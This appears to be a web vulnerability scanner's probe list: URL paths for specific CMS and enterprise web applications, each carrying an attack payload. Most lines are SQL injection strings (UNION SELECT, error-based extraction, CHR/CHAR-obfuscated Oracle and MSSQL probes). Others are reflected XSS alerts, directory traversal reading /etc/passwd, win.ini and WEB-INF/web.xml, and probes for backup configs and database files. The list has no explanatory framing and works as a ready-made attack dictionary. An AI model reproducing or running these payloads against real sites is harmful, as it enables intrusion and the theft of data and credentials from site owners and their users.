/celerityAlleywayDetail.do?type=7'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd
/celive/js/include.php?departmentid=webscan'&cmseasylive=1
/centreon/include/views/graphs/graphStatus/displayServiceStatus.php?session_id='%20or%201=1%20--%20/**&template_id='%20UNION%20ALL%20SELECT%201,2,3,4,5,CHAR(59,%2032,%2099,97,116,32,47,101,116,99,47,112,97,115,115,119,100,%2059),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20--%20/**%20
/cfg/user.cfg.ini
/cgi-bin/
/cgi-bin/admin/configfile.cgi
/cgi/index.cgi?error=badlogin&__mode=show_login%27%22%28%29%26%25%3CScRiPt%20%3Ealert%2842873%29%3C%2fScRiPt%3E
/channel/QueryHig.aspx?AcceptDept=&AppBusinessName='/**/and/**/char(106)%3E0/**/%20--%20
/cjcx/bkxt/xxpj.asp?id=(SELECT%20CHAR(113)%2bCHAR(104)%2bCHAR(101)%2bCHAR(107)%2bCHAR(113)%2bCHAR(113)%2bCHAR(118)%2bCHAR(109)%2bCHAR(99)%2bCHAR(58))
/cjcx/bkxt/yqts1.asp?newsid=(SELECT%20CHAR(113)%2bCHAR(104)%2bCHAR(101)%2bCHAR(107)%2bCHAR(113)%2bCHAR(113)%2bCHAR(118)%2bCHAR(109)%2bCHAR(99)%2bCHAR(58))
/cjcx/kagx/main3.asp?rjxk=dd'%20and%201=(CHAR(113)%2bCHAR(104)%2bCHAR(101)%2bCHAR(107)%2bCHAR(113)%2bCHAR(113)%2bCHAR(118)%2bCHAR(109)%2bCHAR(99)%2bCHAR(58))%20--&xqmc=%25&jsxm=&mc=&ktlx=&page=
/cjcx/xuesheng/czjl/shuru.asp?id=-28%20UNION%20ALL%20SELECT%20CHAR(106)%2bCHAR(106)%2bCHAR(106)%2bCHAR(58)%2bCHAR(58)%2bCHAR(100)%2bCHAR(100)%2bCHAR(60)%20--&xueke=
/cjwtlist.aspx?t=(select+convert(int%2c@@version))
/class.php?action=news&do=39&dpid=68&m=(SELECT%201833%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1122),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)&todo=station
/client/checkuser.aspx?user=test'%20and%20char(106)%3E0--&pwd=1
/cms/ad/column_tree_xml_admin.jsp?_web_id=1'%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x7179647371,0x6141534f415555665645,0x717a687371),NULL,NULL,NULL,NULL,NULL%23
/cms/cms/infopub/gjjs.jsp?pubtype=S&pubpath=dkt&startdate=&enddate=&topic=&content=&authorname=&origin=&description=&webappcode=A02&searchdir=A02&templetid=-21'%20union%20all%20select%20char(106)%2bchar(62)%2bchar(60),null,null%20--
/cms/cms/webapp/search/search-conf.jsp?appid=1&func=loadcol&webid=main'%20UNION%20ALL%20SELECT%20NULL,NULL,CHR(72)%7C%7CCHR(75)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20DUAL--
/cms/common/tree_json_data.jsp?type=JSON_DATA_GROUPDEPTUSER&id=1'%20UNION%20ALL%20SELECT%20CHR(113)%7C%7CCHR(108)%7C%7CCHR(97)%7C%7CCHR(104)%7C%7CCHR(113)%7C%7CCHR(118)%7C%7CCHR(108)%7C%7CCHR(66)%7C%7CCHR(80)%7C%7CCHR(112)%7C%7CCHR(106)%7C%7CCHR(85)%7C%7CCHR(111)%7C%7CCHR(97)%7C%7CCHR(71)%7C%7CCHR(113)%7C%7CCHR(108)%7C%7CCHR(110)%7C%7CCHR(112)%7C%7CCHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20DUAL--
/cms/conf/system.xml
/cms/framework/dbfile/createdbfile.jsp
/cms/infopub/rss.jsp?channelcode=-A%27%20union%20all%20select%20char%28106%29%2bchar%28106%29%2Cnull%2Cnull%2Cnull%20--&maxnum=20
/cms/jsp/communique/zwxx_zfgb.jsp?more=1&columnNameValue=2%27%20UNION%20ALL%20SELECT%20chr%28119%29%7C%7Cchr%28101%29%7C%7Cchr%2898%29%7C%7Cchr%28115%29%7C%7Cchr%2899%29%7C%7Cchr%2897%29%7C%7Cchr%28110%29%7C%7Cchr%2858%29%7C%7Cchr%28105%29%7C%7Cchr%2858%29%7C%7Cchr%28102%29%7C%7Cchr%28105%29%7C%7Cchr%28110%29%7C%7Cchr%28100%29%2CNULL%2CNULL%20FROM%20DUAL--&moreZongQi=021
/cms/web/dimensionpic.jsp?action=copy&SrcPicPath=/WEB-INF/web.xml&PicPath=/cms/web/reer.txt
/cms/web/jspdownload.jsp?FileUrl=%5Cetc%5Cpasswd
/cms/web/jspdownload.jsp?FileUrl=c:%5Cwindows%5Cwin.ini
/cms/web/testsql.jsp
/cms/webapp/critic/p_criticfrontlist.jsp?TID=1'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,0x6F6B6A3A6F6B6A,NULL,NULL%23
/columninfo.jsp?ColumnID=-5%20UNION%20SELECT%201,2,3,char(106),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39%23
/columninfo.jsp?ColumnID=-5%20UNION%20SELECT%201,2,md5(1122),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38%23
/comm/showpic.php?pic=aHR0cDovL3d3dy5zby5jb20vcm9ib3RzLnR4dA%3D%3D
/comments.php?id=3a&tablepre=boka_members+where+1%3d1+and+(select+1+from+(select+count(*)%2cconcat((select+concat(0x3a%2cmd5(1122)%2c0x3a)+from+boka_members+where+uid%3d1)%2cfloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
/common.asp?id=19+and+1=2+union+select+1,admin,password%2b'%7C360webscan',4,5,6+from+admin_user
/common.inc
/common/activeX/activeX.php?meetingId=11&userId=11/**/and/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x5E7C5E,md5(0x7765627363616e),0x5E7C5E,database(),0x7c,version(),0x5E7C5E,FLOOR(RAND(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)
/common/codeMoreWidget.jsp?code=-12'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20--
/common/codewidget.jsp?code=1'%20AND%201=char(106)%20--
/common/edu/call.php?meetingId=11/**/and/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x5E7C5E,md5(0x7765627363616e),0x5E7C5E,database(),0x7c,version(),0x5E7C5E,FLOOR(RAND(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)
/common/edu/index.php?isGet=1&deal=contact&userId=11/**/and/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x5E7C5E,md5(0x7765627363616e),0x5E7C5E,database(),0x7c,version(),0x5E7C5E,FLOOR(RAND(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)
/common/getfile.jsp?p=..%5C%5C..%5C%5C..%5C%5C..%5C%5Cetc%5C%5Cpasswd
/common/mail.php/xxx'/**/and/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x5E7C5E,md5(0x7765627363616e),0x5E7C5E,database(),0x7c,version(),0x5E7C5E,FLOOR(RAND(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)/**/and/**/'1'='?a=VGsxTlpXVjBhVzVuVTJOb1pXUjFiR1U9&c=a&g=a
/common/monitor/index.php?userId=111/**/and/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x5E7C5E,md5(0x7765627363616e),0x5E7C5E,database(),0x7c,version(),0x5E7C5E,FLOOR(RAND(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)
/common/web_meeting/ajax.php?module=ajaxGetGroupUserByGroupId&gId=1,(select/**/1/**/from/**/(select/**/count(*),concat(0x5E7C5E,md5(0x7765627363616e),0x5E7C5E,database(),0x7c,version(),0x5E7C5E,FLOOR(RAND(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)
/common/web_meeting/downMeetingRecord.php?name=../../../etc/passwd
/company/SearchProducts.aspx?id=115&keyname=ppp%25'%20and/**/1=char(106)/**/%20--%20
/company/index.php?datetime=&page=2&position=&profession=&type=1%20and%201=2&workadd=
/compare.php?goods[]=1111&goods[]=1112&goods[]=1113%22%3E%3Cscript%3Ealert(360)%3C/script%3E
/complaint_re.php?cpid=-1%20UNION%20SELECT%201,2,3,4,5,concat(0x23,md5(1122),0x23),7,8,9,10%23
/conf/
/conferences/currentconf.php?deptname=-1'%20and%201=2%20UNION%20SELECT%201,concat(0x7c,md5(1122),0x7c),3,4,5,6,7,8%23
/conferences/journal.php?confid=-1%20UNION%20SELECT%201,2,concat(0x7c,md5(1122),0x7c),4,5,6,7%23
/conferences/logoconf.php?confid=-1%20UNION%20SELECT%201,concat(0x7c,md5(1122),0x7c),3,4,5,6,7,8%20%23
/config.inc.php.bak
/config/
/config/cn/config.php?iDeviceID=-1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x3A0040003A00,IFNULL(CAST(md5(0x7765627363616e)%20AS%20CHAR),0x20),0x3A0040003A00),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20
/config/cn/config.php?iDeviceID=-1%20UNION%20SELECT%201%2Cconcat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%23
/config/cn/tree.php?iSub=1&id=-1%20UNION%20SELECT%201%2C2%2Cconcat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%23
/config/config_global.php.bak
/config/config_ucenter.php.bak
/config/dbconfig.ini
/configright.php?nodeId=-1%20UNION%20SELECT%201%2C2%2Cconcat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15
/configright_decoder.php?nodeId=-1%20UNION%20SELECT%201%2C2%2Cconcat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12
/conformID.asp?Tid=jx'%20and%201=char(106)%20--
/conformID.asp?Tname=web'%20/**/and/**/1=char(106)--
/conn.inc
/connect.inc
/connect.php?receive=yes&mod=login&op=callback&referer=webscan%5Cu0027.replace(/.%2b/,/javascript:alert(42873)/.source);//
/connect.php?receive=yes&mod=login&op=callback&referer=webscan%bf%5Cu0027.replace(/.%2b/,/javascript:alert(42873)/.source);//
/console/
/console/login/LoginForm.jsp
/content/detail.php?sid=2%20and%20(select%201%20from%20%20(select%20count(*),concat(0x7765627363616E3A693A66696E64,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&cid=105&id=1
/content/detail.php?tid=1%20AND%20(SELECT%203047%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1122),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
/content/index.php?cid=1%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1122),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
/corporation.php?rewrite=rewrite&Catid=db_mymps-my_corp%60%20where%201%20and%20(select%201%20from%20%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20my_admin%20limit%200,1),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
/count.php?type=news%20SET%20views%20=%20views-1%20WHERE%20id=1%20and%201=(updatexml(1,concat(0x5e24,(select%20concat(0x3a,md5(1122),0x3a)%20from%20boka_members%20where%20uid=1),0x5e24),1))--+&&action=showcount&id=1
/counter/counter2.php?id=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,md5(1122))%20as%20char),0x7e))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
/crossdomain.xml
/ctop/person/common/get_file.jsp?file_path=//WEB-INF/web.xml
/ctop/person/common/get_file.jsp?file_path=/DocumentShow.jsp
/customform/CustomFormList.aspx?pageindex=1&divid=530602186870.fs_sys_user%20where%201=(select%20username%20%20from%20fs_sys_user%20where%20id=1);--.1.1
/cycle_image.php?language=999%20union%20select%201,2,3,(select%20md5(1122)%20from%20nitc_user%20limit%200,1),5,file,7,8,9,0,1%20from%20nitc_ad%23%5Een
/data.mdb
/data/
/data/%23data.asp
/data/%23data.mdb
/data/admin.mdb
/data/article.mdb
/data/common.inc.php.bak
/data/mysql_error_trace.inc
/database.inc
/database/
/databases/4dsdo0/%254&764/%23fgf&0O.mdb
/datacenter/ckfile.do?path=../../../../../../../../../../etc/passwd
/datacenter/global/login.do?bg=../../../../../../../../../../etc/passwd
/datas/
/db.inc
/db/
/dealfunc/comment_js.php?cmid=1%20order%20by%2030--webscan_draGxn
/deals?end_time=1&searchName=%25'%20AND%201=1%20AND%20'%25'='&start_time=1
/decodermanage.php?NodeID=-1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,CONCAT(0x3A0040003A00,IFNULL(CAST(md5(0x7765627363616e)%20AS%20CHAR),0x20),0x3A0040003A00),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20
/decodermanage.php?NodeID=-11%20UNION%20SELECT%201%2C2%2Cconcat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%23
/dede/
/defaultroot/boardroom/iWebOfficeSign_sql/DocumentEdit.jsp?RecordID=-2074%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%20CONCAT%280x717765727479%2C0x3A746573743A%2C0x7168726371%29%20FROM%20ezoffice.org_employee%20LIMIT%2021%2C1%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23&Template=0&FileType=.doc&EditType=1&UserName=1&moduleType=1&saveHtmlImage=1&saveDocFile=1
/defaultroot/govezoffice/gov_documentmanager/jigeObj.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(106)%2bCHAR(106)%2bCHAR(58)%2bCHAR(58)%2bCHAR(108)%2bCHAR(109)%2bCHAR(110),NULL,NULL,NULL,NULL,NULL,NULL--
/defaultroot/public/select_user/search_org_list.jsp?searchName=a%27%20UNION%20ALL%20SELECT%20CONCAT%280x23%2C0x7765627363616E3A693A66696E64%2C0x23%29%2CNULL%23
/demo.php?time=alert(String.fromCharCode(52,%2050,%2056,%2055,%2051))
/deptProceedingDetailnew.do?itemtype=12%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)&depNO=jx&approveName=&nowPage=3
/deptProceedingDetailnew.do?itemtype=6&depNO=1122'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'1122'='1122&approveName=&nowPage=3
/design/tabledesign/tabledelete.jsp?TableName=1'%20AND%20(SELECT%206237%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,0x6F6B6A3A6F6B6A,0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'cPnC'='cPnC
/detail.asp?id=-306/**/And/**/1=char(106)--&&t=
/developer_tools/webresource_list_left_page.aspx
/devicemanage.php?NodeID=-1%20UNION%20SELECT%201%2C2%2Cconcat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15
/devicemanage.php?NodeID=-1+or+1=1+and+(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*),CONCAT(md5(0x7765627363616e),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)
/dianping/claim.php?fid=1&_erp=%60A+LEFT+JOIN+%60qb_dianping_content%60+B+ON+A.id=B.id+procedure+analyse(extractvalue(rand(),concat(0x3a,md5(0x7765627363616e))),1)--+-%23
/djnotice/qydjnotice.jsp?cx=1&entname=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(89)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(57)%7C%7CCHR(107)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'rOd'='rOd
/do/api/uc.php?code=0bafU3yf6F7GsKqf3iZb1mSEZGreWpWlgHPE7DZRfkxE%2BOKOacQgl4JLy%2FS389F7qVCajFQ0xuDo1y6UUvt3NoR85dpBZd%2BdSNT7PaI
/do/api/uc.php?code=3313Q1ueQOU%2B1vFFJiosRu1wjJh0TPNrnivmg700mcfy4aJR3QChRsLmasXzCBnypE%2BZ8Oj9hPTpwoVCmRCIcG4lFbZfMhTlmKdb7Sc
/do/count.php?fid=1'%3E%22)%3C/script%3E%3Cscript%3Ealert(String.fromCharCode(120,%20115,%20115))%3C/script%3E
/do/fujsarticle.php?type=like&FileName=../data/8137572f3849aabdwebscan.php&submit=check
/do/kindeditor.php?id=%bf%22;alert(1);//&style=&etype=
/docs/Lists.aspx?PinYin=1'%20AND%20CHAR(106)%2bCHAR(58)%3E0%20--
/domcfg.nsf
/domlog.nsf
/down.asp?cat_%69d=3%20and%201=2%20union%20select%201,'ijx',3,4,5,6,7,8,9,10,11,12,13%20from%20admin
/down.aspx?id=(select%20convert(int,(select%20char(106)))%20FROM%20syscolumns)
/down/class/index.php?myord=0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1(0x3336307765627363616e),(SELECT%20(CASE%20WHEN%20(8274=8274)%20THEN%201%20ELSE%200%20END)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
/downLoadFile.action?filePath=/WEB-INF/web.xml
/download.action?filename=../../../../../../etc/passwd
/download.php?tfile=%5C..%5C..%5Cconfig.php
/e/data/ecmseditor/infoeditor/epage/TranFile.php?InstanceName=3232%22%3E%3Cscript%3Ealert(/D/)%3C/script%3E%3C%22
/e/data/ecmseditor/infoeditor/epage/TranFlash.php?InstanceName=3232%22%3E%3Cscript%3Ealert(/D/)%3C/script%3E%3C%22
/e/data/ecmseditor/infoeditor/epage/TranImg.php?InstanceName=3232%22%3E%3Cscript%3Ealert(/D/)%3C/script%3E%3C%22
/e/data/ecmseditor/infoeditor/epage/TranMedia.php?InstanceName=3232%22%3E%3Cscript%3Ealert(/D/)%3C/script%3E%3C%22
/eassso/WEB-INF/web.xml
/ebsys/fceform/common/djframe.htm?isfile=release&djsn=eb_runsql
/edoas2/edoas2_test.jsp
/eln3_asp/public/cscec8b/bulletin.jsp?type=info&type_id=3&id=-120'%20OR%20(SELECT%204774%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1122),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'BLkR'='BLkR&type_id=3&re=0
/emlib4/format/release/aspx/eml_userwh.aspx
/engine/websigncontrol/readsigndata.jsp?id='%20union%20select%20concat(char(98,121),0x7c,char(99,102,114,101,101,114))%23
/enterprise/index.php/admin/index
/epaper/admin/advresult.jsp?searchKeys=%27%20and%20extractvalue(1,concat(0x5c,md5(0x41411)))%23
/epaper/admin/showlist.jsp?papername=1%27%20and%20extractvalue(1,concat(0x5c,md5(0x41411))))a%23
/epaper/admin/showresult.jsp?searchKeys=1'%20and%20extractvalue(1,concat(0x5c,md5(0x41411)))%23
/epaper/createcd/createcd.jsp?dowhat=createcd&papername=1%27%20and%20extractvalue(1,concat(0x5c,md5(0x41411)))%23
/epp/LoginServerDo.jsp?userid=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd&pwd=1
/epp/core/eppquickdesk/eppmsg/eppmsg.jsp?pk_infotype=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(87)%7C%7CCHR(98)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(79)%7C%7CCHR(97)%7C%7CCHR(67)%7C%7CCHR(75)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd
/epp/core/eppquickdesk/eppnotice/notice.jsp?pk_infotype=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(109)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(97)%7C%7CCHR(97)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'ohehe'='ohehe
/epp/core/public/singleplandetail.jsp?pk=1012'%20AND%201234=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(113)%7C%7CCHR(122)%7C%7CCHR(99)%7C%7CCHR(113)%7C%7CCHR(113)%7C%7C(SELECT%20(CASE%20WHEN%20(3640=3640)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(113)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(102)%7C%7CCHR(113)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'eye'='eye
/epp/detail/publishinfodetail.jsp?pk_message=-1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(117)%7C%7CCHR(117)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(98)%7C%7CCHR(98)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'ohe'='ohe
/epp/html/nodes/upload/SupdocDo.jsp?areaname=1'%20AND%209387=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(113)%7C%7CCHR(58)%7C%7CCHR(108)%7C%7CCHR(121)%7C%7CCHR(113)%7C%7C(SELECT%20(CASE%20WHEN%20(9387=9387)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(113)%7C%7CCHR(99)%7C%7CCHR(58)%7C%7CCHR(121)%7C%7CCHR(113)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'msxd'='msxd&supdocname=1&pk_singleplan=1
/epp/html/nodes/upload/supdoc.jsp?pkcorp=1'%20AND%204310=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(113)%7C%7CCHR(106)%7C%7CCHR(107)%7C%7CCHR(106)%7C%7CCHR(109)%7C%7C(SELECT%20(CASE%20WHEN%20(4310=4310)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(113)%7C%7CCHR(111)%7C%7CCHR(58)%7C%7CCHR(109)%7C%7CCHR(113)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'HdRC'='HdRC
/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xml
/etc/passwd
/examlist/id-12,pid-104,key-%27and(char(106)=0)or%271%27=%27.aspx
/example/
/examples/
/extras/curltest.php?url=file://curltest.php
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(0x5468696E6B3A693A646966666572656E74,floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23
/favicon.ico
/fbyg/a476%20or%20updatexml(1,concat(0x7e,(md5(0x4124))),0)--%20-.html
/fckeditor/
/fckeditor/editor/dialog/fck_about.html/fckeditor/editor/dialog/fck_about.html
/feReport/chartList.jsp?delId=1&reportId=1%20and%201122=CONVERT(INT,(SELECT%20char(119)%2bchar(101)%2bchar(98)%2bchar(115)%2bchar(99)%2bchar(97)%2bchar(110)%2bchar(58)%2bchar(105)%2bchar(59)%2bchar(102)%2bchar(105)%2bchar(110)%2bchar(100)))%20--
/feedback/processvalue.aspx?num=e'/**/and/**/char(106)%3E0%20--
/feform/createprinttemplete.jsp?formid=1'%20AND%204321=CONVERT(INT,(SELECT%20CHAR(106)%2bCHAR(117)%2bCHAR(115)%2bCHAR(116)%2bCHAR(95)%2bCHAR(116)%2bCHAR(101)%2bCHAR(115)%2bCHAR(116)))%20--
/fenc/syncsubject.jsp?pk_corp=1'%20AND%202047=CONVERT(INT,(SELECT%20CHAR(106)%2bCHAR(117)%2bCHAR(115)%2bCHAR(116)%2bCHAR(95)%2bCHAR(116)%2bCHAR(101)%2bCHAR(115)%2bCHAR(116)))%20--
/file_download.php?search_keyword=%df'%20/*!50000union*/%20/*!50000select*/%201,2,3,(/*!50000select*/%20concat(0x3a,md5(1122),0x3a)%20/*!50000from*/%20school_user%20limit%200,1),5,6,7%23&keyword_type=0
/filemanage/FolderPower.aspx?folder=1'%20and%20(char(106)%2bchar(106))%3E0--
/filemanage/file_memo.aspx?file_id=(select%20char(109))
/files/
/findPortalNewsBycategoryIdAndTopPortalNewsAction.action?bg=background6&categoryId=jms-11&displayMode=wordList&from=index&num=8&picHight=&picWidth=&proportionVal=1&showDate=0&showMore=0&showTitle=0&siteId=../WEB-INF/web.xml%3f&wordSize=
/flex/newsmessage.jsp?uname=-1122'%20AND%2012=(SELECT%20CHAR(99))%20--
/forUI/Person/EmplInfo.aspx?IDCard=1122'%20AND%201=CHAR(106)%20--%20
/forUI/Policy/DO.file?ID='%20or%201=char(106)%20--
/forUI/Policy/showPolicy.aspx?ID=1122'%20and%201=char(106)%20--
/forgetbf.asp?errstr=--%3E%3C/script%3E%3Cscript%3Ealert(42873)%3C/script%3E
/frame/help/read_help.php?HELP_ID=-1%20union%20select%201,2,3,concat(0x7c,md5(1122),0x7c),5,6
/frm/Count.aspx?id=29308%20AND%201=char(106)%20--&type=List
/gallery--p,0,1122%20and%200-0---1.html
